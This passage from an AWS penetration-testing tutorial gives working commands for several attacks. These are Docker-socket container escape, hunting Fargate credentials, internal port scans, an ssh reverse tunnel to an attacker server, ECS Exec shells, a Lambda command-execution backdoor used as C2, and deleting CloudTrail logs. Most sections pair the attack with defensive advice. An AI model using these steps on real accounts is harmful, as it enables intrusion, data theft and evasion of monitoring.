class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock ps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;The attacker creates a new privileged container to escape from the ECS container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chroot /host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="ecs-on-fargate-penetration--escape"&gt;&lt;a href="#ecs-on-fargate-penetration--escape" class="header-anchor"&gt;&lt;/a&gt;ECS on Fargate Penetration &amp;amp; Escape&#10;&lt;/h4&gt;&lt;p&gt;All the scenarios mentioned earlier involved exploiting EC2 instances running as Docker hosts. In practice, they were all native Docker vulnerabilities, nothing particularly special. The abuse section then touched on a few AWS exploitation techniques, but that was really all there was to it.&#10;So what exactly is the Fargate option we have not used? It is actually an AWS serverless container service. You do not need to manage EC2 yourself; AWS handles it for you. So how do you penetrate it? Based on what we learned above, there is essentially no path for breaking out. Breaching the underlying AWS Fargate infrastructure would be a pipe dream for us. The methods available are still the basic ones. Forget about Docker vulnerabilities: you will not be given privileged mode or anything like that. There is no mystery here; it is actually very simple, so just make a note of it.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;When a Fargate task runs, AWS automatically assigns it an &lt;strong&gt;IAM Role&lt;/strong&gt; for accessing AWS resources. From inside the Fargate task, you can access the &lt;strong&gt;metadata service&lt;/strong&gt; (IMDSv2) to obtain &lt;strong&gt;temporary access credentials&lt;/strong&gt;. This is ECS metadata exploitation; just look up the commands. I am only showing the principle here.&lt;/li&gt;&#10;&lt;li&gt;A Fargate task&amp;rsquo;s task definition (Task Definition) may contain environment variables or mounted sensitive files. If an administrator misconfigures it, an attacker may obtain AWS access keys, read database passwords, or access sensitive S3 resources. In practice, this just means checking env for keys, looking for /root/.aws/credentials, and searching for files such as find / -name &amp;ldquo;*.pem&amp;rdquo;.&lt;/li&gt;&#10;&lt;li&gt;Fargate tasks can run in a &lt;strong&gt;public subnet&lt;/strong&gt; or a &lt;strong&gt;private subnet&lt;/strong&gt;. If an administrator misconfigures them:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task to access internal services in the AWS VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task to access other AWS resources&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An attacker can use a Fargate task as a proxy server&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Finding a Fargate task&amp;rsquo;s network configuration&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route -n&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If &lt;code&gt;eth0&lt;/code&gt; is bound to a VPC CIDR, the &lt;strong&gt;Fargate task is running in a private subnet&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If &lt;code&gt;route -n&lt;/code&gt; &lt;strong&gt;contains 0.0.0.0/0&lt;/strong&gt;, the &lt;strong&gt;Fargate task can access the Internet&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Using a Fargate task to access internal AWS resources&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -z -v internal-rds.amazonaws.com 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -z -v internal-elasticsearch.amazonaws.com 9200&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Using a Fargate task to establish a reverse proxy&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The third point is slightly more complicated, so it deserves a separate explanation. A VPC can have many different network configurations. If all kinds of AWS services are running across its subnets, we can build a tunnel to access them. You can think of it as entering the cloud-side internal network of the target AWS account. There may be a bunch of EC2 instances inside, or other things as well. From there, it is simply a matter of lateral movement through the cloud.&lt;/p&gt;&#10;&lt;h4 id="additional-ecs-container-exploitation"&gt;&lt;a href="#additional-ecs-container-exploitation" class="header-anchor"&gt;&lt;/a&gt;Additional ECS Container Exploitation&#10;&lt;/h4&gt;&lt;h5 id="abusing-ecs-exec"&gt;&lt;a href="#abusing-ecs-exec" class="header-anchor"&gt;&lt;/a&gt;Abusing ECS Exec&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Legitimate purpose&lt;/strong&gt;:&#10;AWS ECS Exec is designed to provide debugging capabilities, allowing operations staff to enter a container directly through the AWS CLI or console and execute commands, such as checking logs or debugging services.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Core requirements&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;The task definition must enable &lt;code&gt;&amp;quot;enableExecuteCommand&amp;quot;: true&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;The operator must have the &lt;code&gt;ecs:ExecuteCommand&lt;/code&gt; IAM permission.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Attack Scenarios and Exploitation Conditions&lt;/p&gt;&#10;&lt;p&gt;Prerequisites&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Credential exposure&lt;/strong&gt;: The attacker has obtained IAM credentials with the &lt;code&gt;ecs:ExecuteCommand&lt;/code&gt; permission, such as a developer account or an overprivileged role.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Task misconfiguration&lt;/strong&gt;: &lt;code&gt;enableExecuteCommand&lt;/code&gt; is enabled in the task definition, and the relevant permissions have not been restricted.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Enumerate executable tasks&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all ECS clusters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs list-clusters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List tasks in the cluster&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs list-tasks --cluster &amp;lt;CLUSTER_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether Exec is enabled for the task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs describe-tasks --cluster &amp;lt;CLUSTER&amp;gt; --tasks &amp;lt;TASK_ID&amp;gt; | grep &amp;#34;enableExecuteCommand&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Enter the container through Exec&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the AWS CLI to execute a command (for example, start an interactive shell)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs execute-command \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cluster &amp;lt;CLUSTER_NAME&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --task &amp;lt;TASK_ID&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --container &amp;lt;CONTAINER_NAME&amp;gt; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --command &amp;#34;/bin/sh&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --interactive&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If successful, the attacker gains Shell access inside the container.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="conclusion-to-advanced-attack-techniques"&gt;&lt;a href="#conclusion-to-advanced-attack-techniques" class="header-anchor"&gt;&lt;/a&gt;Conclusion to Advanced Attack Techniques&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;At this point, we have essentially covered every part of AWS penetration testing. The advanced techniques are clearly much harder than the earlier material. The earlier sections focused on basic service exploitation methods, standard penetration-testing workflows, and so on, whereas advanced attacks involve combining multiple services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Take leaked AWS CLI credentials as an example. The basics only teach what a particular permission does, how to reproduce the scenario, and how to use that permission for penetration testing. The advanced material is more about finding leaks, escalating privileges, and establishing persistence. It brushes over the basics and only mentions which permissions exist and which permissions can be combined for an attack. It no longer spends ages on any single service. Like the outline headings suggest, it combines techniques, ideas, and methods.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Then there are malicious CloudFormation templates. While learning them, you might think, &amp;ldquo;How is this any different from before? Aren&amp;rsquo;t we still just learning all the services in CloudFormation?&amp;rdquo; The difference is that you first need to understand the characteristics of every service. We know that CloudFormation templates can be used in penetration testing and can obtain extensive permissions, but do you know how to create a highly privileged user or role? The template runs without returning output, so how do you retrieve the generated key? It is more like a collection of exploitation techniques spanning every service, with the CloudFormation template serving as the vehicle. It can control all AWS services, and learning to use it assumes that you already know all those AWS services.&lt;/p&gt;&#10;&lt;p&gt;The final topic is ECS containers. I wrote a few thoughts at the end of the ECS container escape section. Most people probably assume that learning to penetrate ECS simply means learning Docker penetration testing, and everyone knows that ECS resembles K8S. But ECS lives in the cloud. It is not limited to attacks involving Docker access; there is a cloud side as well. Anyone who has finished building an ECS environment knows that the setup is somewhat complicated, which also shows how well designed the architecture is. When learning AWS cloud security, you cannot focus solely on attack techniques and commands. It is not enough if you do not understand the logic behind them. After you have fallen into a pile of traps while setting up ECS and finally get it working, you understand the principles behind the service.&lt;/p&gt;&#10;&lt;p&gt;In reality, offense and defense are inseparable, and studying both is extremely important for understanding. It means you can work on both blue and red teams, with each side helping the other grow. By this point, you have also learned a great deal about AWS services and discovered that even the free offerings can do a lot. As I said in the AWS fundamentals section, you can already try building a website, creating a storage bucket for files, and much more. This section covered a lot of penetration-testing material, which means that after building your own environment, you can try establishing a security baseline for your AWS services. Once you understand how they are attacked, you know what areas your defenses should focus on.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;There is one final major module left in AWS penetration testing &amp;mdash;&amp;ndash; defense evasion techniques&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h2 id="defense-evasion-techniques"&gt;&lt;a href="#defense-evasion-techniques" class="header-anchor"&gt;&lt;/a&gt;Defense Evasion Techniques&#10;&lt;/h2&gt;&lt;p&gt;This part is extremely difficult, but it is also very useful. For the most part, I will only list a heading and explain the principle, since implementation is somewhat difficult. Experts can try implementing these techniques themselves. Once I have finished more of my studies, I will also start moving in this direction.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;AWS has several security monitoring and logging mechanisms, such as:&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;GuardDuty&lt;/strong&gt; (intrusion detection)&#10;&lt;strong&gt;CloudTrail&lt;/strong&gt; (API event logs)&#10;&lt;strong&gt;VPC Flow Logs&lt;/strong&gt; (traffic monitoring)&#10;&lt;strong&gt;AWS Config&lt;/strong&gt; (compliance monitoring)&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The attacker&amp;rsquo;s goal&lt;/strong&gt; is to &lt;strong&gt;bypass these monitoring mechanisms and hide malicious actions&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h3 id="guardduty-evasion-techniques"&gt;&lt;a href="#guardduty-evasion-techniques" class="header-anchor"&gt;&lt;/a&gt;GuardDuty Evasion Techniques&#10;&lt;/h3&gt;&lt;h4 id="low-frequency-api-calls"&gt;&lt;a href="#low-frequency-api-calls" class="header-anchor"&gt;&lt;/a&gt;Low-Frequency API Calls&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Principle&lt;/strong&gt;:&#10;AWS GuardDuty uses machine learning models to detect abnormal API activity, such as high-frequency operations and cross-region calls. By &lt;strong&gt;reducing the frequency of sensitive operations&lt;/strong&gt; (for example, to once per hour), it may be possible to evade statistics-based detection rules.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Exfiltrate the S3 object list once per hour&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 ls s3://sensitive-bucket --region us-west-1 &amp;gt;&amp;gt; /tmp/result.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 3600 # One-hour interval&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive detection&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Enable GuardDuty &lt;strong&gt;Threat Lists&lt;/strong&gt; to flag known malicious IPs.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;strong&gt;custom Security Hub rules&lt;/strong&gt; to match low-frequency sensitive operations, such as running &lt;code&gt;iam:CreateUser&lt;/code&gt; once per hour.&lt;/li&gt;&#10;&lt;li&gt;Analyze &lt;strong&gt;time-series patterns&lt;/strong&gt; in CloudTrail logs to identify periodic behavior.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="proxying-traffic-through-legitimate-services"&gt;&lt;a href="#proxying-traffic-through-legitimate-services" class="header-anchor"&gt;&lt;/a&gt;Proxying Traffic Through Legitimate Services&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Principle&lt;/strong&gt;:&#10;Forward malicious traffic through native AWS services such as Lambda and API Gateway, causing GuardDuty to identify the attack traffic as legitimate service activity.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Example (Lambda proxy for C2)&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a malicious Lambda function&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import os&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Receive a Base64-encoded command from API Gateway&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; command = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result = os.popen(command).read()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return {&amp;#39;statusCode&amp;#39;: 200, &amp;#39;body&amp;#39;: result}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Trigger it through API Gateway&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Send an encoded command (avoid plaintext logging)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl &amp;#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo &amp;#39;whoami&amp;#39; | base64)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive detection&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitor Lambda &lt;strong&gt;cold-start frequency&lt;/strong&gt; and &lt;strong&gt;abnormal execution times&lt;/strong&gt;, such as functions that run for a long time.&lt;/li&gt;&#10;&lt;li&gt;Enable &lt;strong&gt;VPC Traffic Mirroring&lt;/strong&gt; to capture outbound traffic from Lambda functions.&lt;/li&gt;&#10;&lt;li&gt;Use GuardDuty&amp;rsquo;s &lt;strong&gt;Backdoor:EC2/LambdaClient&lt;/strong&gt; rule to detect suspicious function calls.&lt;/li&gt;&#10;&lt;li&gt;The encryption method can be customized; both RSA and AES will work.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="deleting-cloudtrail-logs"&gt;&lt;a href="#deleting-cloudtrail-logs" class="header-anchor"&gt;&lt;/a&gt;Deleting CloudTrail Logs&#10;&lt;/h3&gt;&lt;h4 id="deleting-a-specific-log-trail"&gt;&lt;a href="#deleting-a-specific-log-trail" class="header-anchor"&gt;&lt;/a&gt;Deleting a Specific Log Trail&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Commands&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the default CloudTrail trail&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail delete-trail --name Default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop logging&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name Default&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Evasion effect&lt;/strong&gt;:&#10;This prevents new logs from being generated, but &lt;strong&gt;historical logs remain stored in the S3 bucket&lt;/strong&gt; and require separate cleanup.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive measures&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable Multi-Region Trail logging&lt;/strong&gt; to prevent logs from being deleted in a single region.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable S3 versioning + MFA Delete&lt;/strong&gt; to prevent log files from being overwritten.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Restrict IAM permissions&lt;/strong&gt; so that non-administrator users cannot perform &lt;code&gt;cloudtrail:DeleteTrail&lt;/code&gt; or &lt;code&gt;cloudtrail:StopLogging&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="erasing-historical-logs"&gt;&lt;a href="#erasing-historical-logs" class="header-anchor"&gt;&lt;/a&gt;Erasing Historical Logs&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 